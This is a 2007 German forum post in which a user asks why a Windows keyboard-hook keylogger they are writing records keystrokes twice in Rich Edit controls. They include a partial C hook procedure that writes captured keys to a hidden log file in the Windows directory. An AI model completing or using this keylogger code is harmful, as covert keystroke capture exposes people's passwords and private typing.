[C/C++] Problem mit Windows Keyboard Hook

Dieses Thema im Forum "Programmierung & Entwicklung" wurde erstellt von frq, 11. September 2007 .

  1. Diese Seite verwendet Cookies. Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies. Weitere Informationen
  1. #1 11. September 2007
    Problem mit Windows Keyboard Hook

    Hi,

    ich wollte endlich auch mal einen Keylogger für Windows per Hooks schreiben. Das Mitschneiden funktioniert auch soweit ganz gut, wenn ich z.B. was in notepad tippe. Nur, wenn ich etwas in eine Rich Edit Controll (oder wie auch immer das noch mal heißt...) eintippe (wie etwa hier in Firefox), dann erfasst er alle Keystrokes doppelt. Hat einer eine Idee woran das liegen könnte und wie ich es beheben kann?
    Anbei Auszüge aus meiner HookProc:

    Code:
    EXPORT LRESULT CALLBACK HookProc(int Code, WPARAM wParam, LPARAM lParam)
    {
     HANDLE hFile;
     LARGE_INTEGER li;
     int len=1;
     char buff[6],winbuff[MAX_PATH];
     DWORD bwr;
    
     if (Code >= 0 && !(lParam & (1 << 31)))
     {
     GetWindowsDirectory(winbuff,MAX_PATH);
     strcat_s(winbuff,MAX_PATH,LOG_PATH);
    
     hFile=CreateFile(winbuff,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
    
     li.QuadPart=0;
     SetFilePointerEx(hFile,li,NULL,FILE_END);
    
     if(wParam==.....)
     {
     // Die Keys auswerten und in buff schreiben
     }
     else if(......)
     {
     // und so weiter
     }
     else
     len=0;
    
     if(len>0)
     WriteFile(hFile,buff,(DWORD)(len*sizeof(char)),&bwr,NULL);
    
    
     CloseHandle(hFile);
     }
    
     return(CallNextHookEx(hhook, Code, wParam, lParam));
    }
    
     

  2. Anzeige
    Heute: Deals & Sale mit stark reduzierten Angeboten finden.

  3. Videos zum Thema
Die Seite wird geladen...